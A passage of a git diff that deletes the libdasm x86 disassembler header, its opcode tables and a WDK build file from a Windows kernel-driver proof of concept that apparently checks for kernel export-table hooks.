- INSTRUCTION_TYPE_JMP,
- INSTRUCTION_TYPE_JMPC, // conditional jump
- INSTRUCTION_TYPE_SETC, // conditional byte set
- INSTRUCTION_TYPE_MOVC, // conditional mov
- INSTRUCTION_TYPE_LOOP,
- INSTRUCTION_TYPE_CALL,
- INSTRUCTION_TYPE_RET,
- INSTRUCTION_TYPE_INT, // interrupt
- INSTRUCTION_TYPE_BT, // bit tests
- INSTRUCTION_TYPE_BTS,
- INSTRUCTION_TYPE_BTR,
- INSTRUCTION_TYPE_BTC,
- INSTRUCTION_TYPE_BSF,
- INSTRUCTION_TYPE_BSR,
- INSTRUCTION_TYPE_BSWAP,
- INSTRUCTION_TYPE_SGDT,
- INSTRUCTION_TYPE_SIDT,
- INSTRUCTION_TYPE_SLDT,
- INSTRUCTION_TYPE_LFP,
- // FPU instructions
- INSTRUCTION_TYPE_FCMOVC, // float conditional mov
- INSTRUCTION_TYPE_FADD,
- INSTRUCTION_TYPE_FADDP,
- INSTRUCTION_TYPE_FIADD,
- INSTRUCTION_TYPE_FSUB,
- INSTRUCTION_TYPE_FSUBP,
- INSTRUCTION_TYPE_FISUB,
- INSTRUCTION_TYPE_FSUBR,
- INSTRUCTION_TYPE_FSUBRP,
- INSTRUCTION_TYPE_FISUBR,
- INSTRUCTION_TYPE_FMUL,
- INSTRUCTION_TYPE_FMULP,
- INSTRUCTION_TYPE_FIMUL,
- INSTRUCTION_TYPE_FDIV,
- INSTRUCTION_TYPE_FDIVP,
- INSTRUCTION_TYPE_FDIVR,
- INSTRUCTION_TYPE_FDIVRP,
- INSTRUCTION_TYPE_FIDIV,
- INSTRUCTION_TYPE_FIDIVR,
- INSTRUCTION_TYPE_FCOM,
- INSTRUCTION_TYPE_FCOMP,
- INSTRUCTION_TYPE_FCOMPP,
- INSTRUCTION_TYPE_FCOMI,
- INSTRUCTION_TYPE_FCOMIP,
- INSTRUCTION_TYPE_FUCOM,
- INSTRUCTION_TYPE_FUCOMP,
- INSTRUCTION_TYPE_FUCOMPP,
- INSTRUCTION_TYPE_FUCOMI,
- INSTRUCTION_TYPE_FUCOMIP,
- INSTRUCTION_TYPE_FST,
- INSTRUCTION_TYPE_FSTP,
- INSTRUCTION_TYPE_FIST,
- INSTRUCTION_TYPE_FISTP,
- INSTRUCTION_TYPE_FISTTP,
- INSTRUCTION_TYPE_FLD,
- INSTRUCTION_TYPE_FILD,
- INSTRUCTION_TYPE_FICOM,
- INSTRUCTION_TYPE_FICOMP,
- INSTRUCTION_TYPE_FFREE,
- INSTRUCTION_TYPE_FFREEP,
- INSTRUCTION_TYPE_FXCH,
- INSTRUCTION_TYPE_FPU, // Other FPU instructions
-
- INSTRUCTION_TYPE_MMX, // Other MMX instructions
-
- INSTRUCTION_TYPE_SSE, // Other SSE instructions
-
- INSTRUCTION_TYPE_OTHER, // Other instructions :-)
- INSTRUCTION_TYPE_PRIV // Privileged instruction
-};
-
-// Operand types
-enum Operand {
- OPERAND_TYPE_NONE, // operand not present
- OPERAND_TYPE_MEMORY, // memory operand ([eax], [0], etc.)
- OPERAND_TYPE_REGISTER, // register operand (eax, mm0, etc.)
- OPERAND_TYPE_IMMEDIATE, // immediate operand (0x1234)
-};
-
-// Structure definitions
-
-// struct INST is used internally by the library
-typedef struct _INST {
- enum Instruction type; // Instruction type
- const char *mnemonic; // Instruction mnemonic
- int flags1; // First operand flags (if any)
- int flags2; // Second operand flags (if any)
- int flags3; // Additional operand flags (if any)
- int modrm; // Is MODRM byte present?
-} INST, *PINST;
-
-// Operands for the instruction
-typedef struct _OPERAND {
- enum Operand type; // Operand type (register, memory, etc)
- int reg; // Register (if any)
- int basereg; // Base register (if any)
- int indexreg; // Index register (if any)
- int scale; // Scale (if any)
- int dispbytes; // Displacement bytes (0 = no displacement)
- int dispoffset; // Displacement value offset
- int immbytes; // Immediate bytes (0 = no immediate)
- int immoffset; // Immediate value offset
- int sectionbytes; // Section prefix bytes (0 = no section prefix)
- WORD section; // Section prefix value
- DWORD displacement; // Displacement value
- DWORD immediate; // Immediate value
- int flags; // Operand flags
-} OPERAND, *POPERAND;
-
-// struct INSTRUCTION is used to interface the library
-typedef struct _INSTRUCTION {
- int length; // Instruction length
- enum Instruction type; // Instruction type
- enum Mode mode; // Addressing mode
- BYTE opcode; // Actual opcode
- BYTE modrm; // MODRM byte
- BYTE sib; // SIB byte
- int extindex; // Extension table index
- int fpuindex; // FPU table index
- int dispbytes; // Displacement bytes (0 = no displacement)
- int immbytes; // Immediate bytes (0 = no immediate)
- int sectionbytes; // Section prefix bytes (0 = no section prefix)
- OPERAND op1; // First operand (if any)
- OPERAND op2; // Second operand (if any)
- OPERAND op3; // Additional operand (if any)
- PINST ptr; // Pointer to instruction table
- int flags; // Instruction flags
-} INSTRUCTION, *PINSTRUCTION;
-
-
-// Function definitions
-
-int get_instruction(
- INSTRUCTION *inst, // pointer to INSTRUCTION structure
- BYTE *addr, // code buffer
- enum Mode mode // mode: MODE_32 or MODE_16
-);
-
-// Get complete instruction string
-int get_instruction_string(
- INSTRUCTION *inst, // pointer to INSTRUCTION structure
- enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL
- DWORD offset, // instruction absolute address
- char *string, // string buffer
- int length // string length
-);
-
-// Get mnemonic string
-int get_mnemonic_string(
- INSTRUCTION *inst, // pointer to INSTRUCTION structure
- enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL
- char *string, // string buffer
- int length // string length
-);
-
-// Get individual operand string
-int get_operand_string(
- INSTRUCTION *inst, // pointer to INSTRUCTION structure
- POPERAND op, // pointer to OPERAND structure
- enum Format format, // instruction format: FORMAT_ATT or FORMAT_INTEL
- DWORD offset, // instruction absolute address
- char *string, // string buffer
- int length // string length
-);
-
-// Helper functions
-
-int get_register_type(
- POPERAND op
-);
-int get_operand_type(
- POPERAND op
-);
-int get_operand_register(
- POPERAND op
-);
-int get_operand_basereg(
- POPERAND op
-);
-int get_operand_indexreg(
- POPERAND op
-);
-int get_operand_scale(
- POPERAND op
-);
-int get_operand_immediate(
- POPERAND op,
- DWORD *imm // returned immediate value
-);
-int get_operand_displacement(
- POPERAND op,
- DWORD *disp // returned displacement value
-);
-POPERAND get_source_operand(
- PINSTRUCTION inst
-);
-POPERAND get_destination_operand(
- PINSTRUCTION inst
-);
-
-
-// Instruction prefix groups
-
-// Group 1
-#define MASK_PREFIX_G1(x) ((x) & 0xFF000000) >> 24
-#define PREFIX_LOCK 0x01000000 // 0xf0
-#define PREFIX_REPNE 0x02000000 // 0xf2
-#define PREFIX_REP 0x03000000 // 0xf3
-#define PREFIX_REPE 0x03000000 // 0xf3
-// Group 2
-#define MASK_PREFIX_G2(x) ((x) & 0x00FF0000) >> 16
-#define PREFIX_ES_OVERRIDE 0x00010000 // 0x26
-#define PREFIX_CS_OVERRIDE 0x00020000 // 0x2e
-#define PREFIX_SS_OVERRIDE 0x00030000 // 0x36
-#define PREFIX_DS_OVERRIDE 0x00040000 // 0x3e
-#define PREFIX_FS_OVERRIDE 0x00050000 // 0x64
-#define PREFIX_GS_OVERRIDE 0x00060000 // 0x65
-// Group 3 & 4
-#define MASK_PREFIX_G3(x) ((x) & 0x0000FF00) >> 8
-#define MASK_PREFIX_OPERAND(x) ((x) & 0x00000F00) >> 8
-#define MASK_PREFIX_ADDR(x) ((x) & 0x0000F000) >> 12
-#define PREFIX_OPERAND_SIZE_OVERRIDE 0x00000100 // 0x66
-#define PREFIX_ADDR_SIZE_OVERRIDE 0x00001000 // 0x67
-
-
-// Extensions
-#define MASK_EXT(x) ((x) & 0x000000FF)
-#define EXT_G1 0x00000001
-#define EXT_G2 0x00000002
-#define EXT_G3 0x00000003
-#define EXT_G4 0x00000004
-#define EXT_G5 0x00000005
-#define EXT_G6 0x00000006
-#define EXT_G7 0x00000007
-#define EXT_G8 0x00000008
-#define EXT_G9 0x00000009
-#define EXT_GA 0x0000000a
-#define EXT_GB 0x0000000b
-#define EXT_GC 0x0000000c
-#define EXT_GD 0x0000000d
-#define EXT_GE 0x0000000e
-#define EXT_GF 0x0000000f
-#define EXT_G0 0x00000010
-
-// Extra groups for 2 and 3-byte opcodes, and FPU stuff
-#define EXT_T2 0x00000020 // opcode table 2
-#define EXT_CP 0x00000030 // co-processor
-
-// Operand flags
-#define FLAGS_NONE 0
-
-// Operand Addressing Methods, from the Intel manual
-#define MASK_AM(x) ((x) & 0x00FF0000)
-#define AM_A 0x00010000 // Direct address with segment prefix
-#define AM_C 0x00020000 // MODRM reg field defines control register
-#define AM_D 0x00030000 // MODRM reg field defines debug register
-#define AM_E 0x00040000 // MODRM byte defines reg/memory address
-#define AM_G 0x00050000 // MODRM byte defines general-purpose reg
-#define AM_I 0x00060000 // Immediate data follows
-#define AM_J 0x00070000 // Immediate value is relative to EIP
-#define AM_M 0x00080000 // MODRM mod field can refer only to memory
-#define AM_O 0x00090000 // Displacement follows (without modrm/sib)
-#define AM_P 0x000a0000 // MODRM reg field defines MMX register
-#define AM_Q 0x000b0000 // MODRM defines MMX register or memory
-#define AM_R 0x000c0000 // MODRM mod field can only refer to register
-#define AM_S 0x000d0000 // MODRM reg field defines segment register
-#define AM_T 0x000e0000 // MODRM reg field defines test register
-#define AM_V 0x000f0000 // MODRM reg field defines XMM register
-#define AM_W 0x00100000 // MODRM defines XMM register or memory
-// Extra addressing modes used in this implementation
-#define AM_I1 0x00200000 // Immediate byte 1 encoded in instruction
-#define AM_REG 0x00210000 // Register encoded in instruction
-
-// Operand Types, from the intel manual
-#define MASK_OT(x) ((x) & 0xFF000000)
-#define OT_a 0x01000000
-#define OT_b 0x02000000 // always 1 byte
-#define OT_c 0x03000000 // byte or word, depending on operand
-#define OT_d 0x04000000 // double-word
-#define OT_q 0x05000000 // quad-word
-#define OT_dq 0x06000000 // double quad-word
-#define OT_v 0x07000000 // word or double-word, depending on operand
-#define OT_w 0x08000000 // always word
-#define OT_p 0x09000000 // 32-bit or 48-bit pointer
-#define OT_pi 0x0a000000 // quadword MMX register
-#define OT_pd 0x0b000000 // 128-bit double-precision float
-#define OT_ps 0x0c000000 // 128-bit single-precision float
-#define OT_s 0x0d000000 // 6-byte pseudo descriptor
-#define OT_sd 0x0e000000 // Scalar of 128-bit double-precision float
-#define OT_ss 0x0f000000 // Scalar of 128-bit single-precision float
-#define OT_si 0x10000000 // Doubleword integer register
-#define OT_t 0x11000000 // 80-bit packed FP data
-
-// Additional operand flags
-#define MASK_FLAGS(x) ((x) & 0x0000FF00)
-#define F_s 0x00000100 // sign-extend 1-byte immediate
-#define F_r 0x00000200 // use segment register
-#define F_f 0x00000300 // use FPU register
-
-
-// MODRM byte
-#define MASK_MODRM_MOD(x) (((x) & 0xc0) >> 6)
-#define MASK_MODRM_REG(x) (((x) & 0x38) >> 3)
-#define MASK_MODRM_RM(x) ((x) & 0x7)
-
-// SIB byte
-#define MASK_SIB_SCALE(x) MASK_MODRM_MOD(x)
-#define MASK_SIB_INDEX(x) MASK_MODRM_REG(x)
-#define MASK_SIB_BASE(x) MASK_MODRM_RM(x)
-
-
-#ifdef __cplusplus
-}
-#endif
-
-#endif
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/sources b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/sources
deleted file mode 100644
index c7e30fac..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/sources
+++ /dev/null
@@ -1,18 +0,0 @@
-TARGETNAME=CheckKernelHook
-#TARGETPATH=$(BASEDIR)\lib
-TARGETPATH=obj
-TARGETTYPE=DRIVER
-
-INCLUDES=.\
-
-SOURCES= \
-DriverEntry.c \
-Common.c \
-KernelHookCheck.c \
-Reload.c \
-FileSystem.c \
-FixRelocation.c \
-KernelReload.c \
-libdasm.c
-
-
diff --git a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/tables.h b/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/tables.h
deleted file mode 100644
index 0116803a..00000000
--- a/Win32/Proof of Concepts/CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/tables.h
+++ /dev/null
@@ -1,2142 +0,0 @@
-
-/*
- * libdasm -- simple x86 disassembly library
- * (c) 2004 - 2005 jt / nologin.org
- *
- * Opcode tables for FPU, 1, 2 and 3-byte opcodes and
- * extensions.
- *
- */
-
-#include "libdasm.h"
-
-
-// lock/rep prefix name table
-const char *rep_table[] = {
- "lock ", "repne ", "rep "
-};
-
-// Register name table
-const char *reg_table[10][8] = {
- { "eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi" },
- { "ax", "cx", "dx", "bx", "sp", "bp", "si", "di" },
- { "al", "cl", "dl", "bl", "ah", "ch", "dh", "bh" },
- { "es", "cs", "ss", "ds", "fs", "gs", "seg6", "seg7" },
- { "dr0", "dr1", "dr2", "dr3", "dr4", "dr5", "dr6", "dr7" },
- { "cr0", "cr1", "cr2", "cr3", "cr4", "cr5", "cr6", "cr7" },
- { "tr0", "tr1", "tr2", "tr3", "tr4", "tr5", "tr6", "tr7" },
- { "xmm0", "xmm1", "xmm2", "xmm3", "xmm4", "xmm5", "xmm6", "xmm7" },
- { "mm0", "mm1", "mm2", "mm3", "mm4", "mm5", "mm6", "mm7" },
- { "st(0)","st(1)","st(2)","st(3)","st(4)","st(5)","st(6)","st(7)"},
-};
-
-// Name table index
-#define REG_GEN_DWORD 0
-#define REG_GEN_WORD 1
-#define REG_GEN_BYTE 2
-#define REG_SEGMENT 3
-#define REG_DEBUG 4
-#define REG_CONTROL 5
-#define REG_TEST 6
-#define REG_XMM 7
-#define REG_MMX 8
-#define REG_FPU 9
-
-// Opcode extensions for one -and two-byte opcodes
-// XXX: move these to proper instruction structures ASAP!
-
-const char * ext_name_table[16][8] = {
- { "add", "or", "adc", "sbb", "and", "sub", "xor", "cmp" }, // g1
- { "rol", "ror", "rcl", "rcr", "shl", "shr", NULL, "sar" }, // g2
- { "test", NULL, "not", "neg", "mul", "imul", "div", "idiv" }, // g3
- { "inc", "dec", NULL, NULL, NULL, NULL, NULL, NULL }, // g4
- { "inc", "dec", "call", "callf", "jmp", "jmpf", "push", NULL }, // g5
- { "sldt", "str", "lldt", "ltr", "verr", "verw", NULL, NULL }, // g6
- { "sgdt", "sidt", "lgdt", "lidt", "smsw", NULL, "lmsw", "invlpg" }, // g7
- { NULL, NULL, NULL, NULL, "bt", "bts", "btr", "btc" }, // g8
- { NULL, "cmpxch", NULL, NULL, NULL, NULL, NULL, NULL }, // g9
- { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }, // ga
- { "mov", NULL, NULL, NULL, NULL, NULL, NULL, NULL }, // gb
- { NULL, NULL, "psrlw", NULL, "psraw", NULL, "psllw", NULL }, // gc
- { NULL, NULL, "psrld", NULL, "psrad", NULL, "pslld", NULL }, // gd
- // XXX: if 2-byte extension, 4th and 8th are not defined..
- { NULL, NULL, "psrlq", "psrldq", NULL, NULL, "psllq", "pslldq" }, // gd
- { "fxsave", "fxrstor", "ldmxc5r", "stmxc5r", NULL, NULL, NULL, "sfence" }, // gf
- { NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }, // g0
-};
-
-// Instruction types for extensions
-// XXX: move these to proper instruction structures ASAP!
-
-enum Instruction ext_type_table[16][8] = {
- { // g1
- INSTRUCTION_TYPE_ADD, INSTRUCTION_TYPE_OR,
- INSTRUCTION_TYPE_ADC, INSTRUCTION_TYPE_SBB,
- INSTRUCTION_TYPE_AND, INSTRUCTION_TYPE_SUB,
- INSTRUCTION_TYPE_XOR, INSTRUCTION_TYPE_CMP,
- },
- { // g2
- INSTRUCTION_TYPE_ROX, INSTRUCTION_TYPE_ROX,
- INSTRUCTION_TYPE_ROX, INSTRUCTION_TYPE_ROX,
- INSTRUCTION_TYPE_SHX, INSTRUCTION_TYPE_SHX,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_SHX,
- },
- { // g3
- INSTRUCTION_TYPE_TEST, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_NOT, INSTRUCTION_TYPE_NEG,
- INSTRUCTION_TYPE_MUL, INSTRUCTION_TYPE_IMUL,
- INSTRUCTION_TYPE_DIV, INSTRUCTION_TYPE_IDIV,
- },
- { // g4
- INSTRUCTION_TYPE_INC, INSTRUCTION_TYPE_DEC,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- },
- { // g5
- INSTRUCTION_TYPE_INC, INSTRUCTION_TYPE_DEC,
- INSTRUCTION_TYPE_CALL, INSTRUCTION_TYPE_CALL,
- INSTRUCTION_TYPE_JMP, INSTRUCTION_TYPE_JMP,
- INSTRUCTION_TYPE_PUSH, INSTRUCTION_TYPE_OTHER,
- },
- { // g6
- INSTRUCTION_TYPE_SLDT, INSTRUCTION_TYPE_PRIV,
- INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,
- INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,
- INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,
- },
- { // g7
- INSTRUCTION_TYPE_SGDT, INSTRUCTION_TYPE_SIDT,
- INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,
- INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,
- INSTRUCTION_TYPE_PRIV, INSTRUCTION_TYPE_PRIV,
- },
- { // g8
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_BT, INSTRUCTION_TYPE_BTS,
- INSTRUCTION_TYPE_BTR, INSTRUCTION_TYPE_BTC,
- },
- { // g9
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- },
- { // ga
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- },
- { // gb
- INSTRUCTION_TYPE_MOV, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- },
- { // gc
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,
- },
- { // gd
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_OTHER,
- },
- { // ge
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_SSE,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_MMX, INSTRUCTION_TYPE_SSE,
- },
- { // gf
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- },
- { // g0
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- INSTRUCTION_TYPE_OTHER, INSTRUCTION_TYPE_OTHER,
- }
-};
-
-
-// 1-byte opcodes
-INST inst_table1[256] = {
- { INSTRUCTION_TYPE_ADD, "add", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_ADD, "add", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_ADD, "add", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_ADD, "add", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_ADD, "add", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_ADD, "add", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_ES|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_ES|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OR, "or", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OR, "or", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OR, "or", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OR, "or", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_OR, "or", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_OR, "or", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_CS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- // Escape to 2-byte opcode table
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_ADC, "adc", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_ADC, "adc", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_ADC, "adc", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_ADC, "adc", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_ADC, "adc", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_ADC, "adc", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_SS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_SS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_SBB, "sbb", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SBB, "sbb", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SBB, "sbb", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SBB, "sbb", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SBB, "sbb", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_SBB, "sbb", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_PUSH, "push", AM_REG|REG_DS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_POP, "pop", AM_REG|REG_DS|F_r, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_AND, "and", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_AND, "and", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_AND, "and", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_AND, "and", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_AND, "and", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_AND, "and", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- // seg ES override
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_DCL, "daa", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_SUB, "sub", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SUB, "sub", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SUB, "sub", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SUB, "sub", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_SUB, "sub", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_SUB, "sub", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- // seg CS override
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_DCL, "das", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_XOR, "xor", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_XOR, "xor", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_XOR, "xor", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_XOR, "xor", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_XOR, "xor", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_XOR, "xor", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- // seg SS override
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_ASC, "aaa", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_CMP, "cmp", AM_E|OT_b, AM_G|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_CMP, "cmp", AM_E|OT_v, AM_G|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_CMP, "cmp", AM_G|OT_b, AM_E|OT_b, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_CMP, "cmp", AM_G|OT_v, AM_E|OT_v, FLAGS_NONE, 1 },
- { INSTRUCTION_TYPE_CMP, "cmp", AM_REG|REG_EAX|OT_b, AM_I|OT_b, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_CMP, "cmp", AM_REG|REG_EAX|OT_v, AM_I|OT_v, FLAGS_NONE, 0 },
- // seg DS override
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_ASC, "aas", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EAX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_ECX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EDX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EBX|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_ESP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EBP|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_ESI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
- { INSTRUCTION_TYPE_INC, "inc", AM_REG|REG_EDI|OT_v, FLAGS_NONE, FLAGS_NONE, 0 },
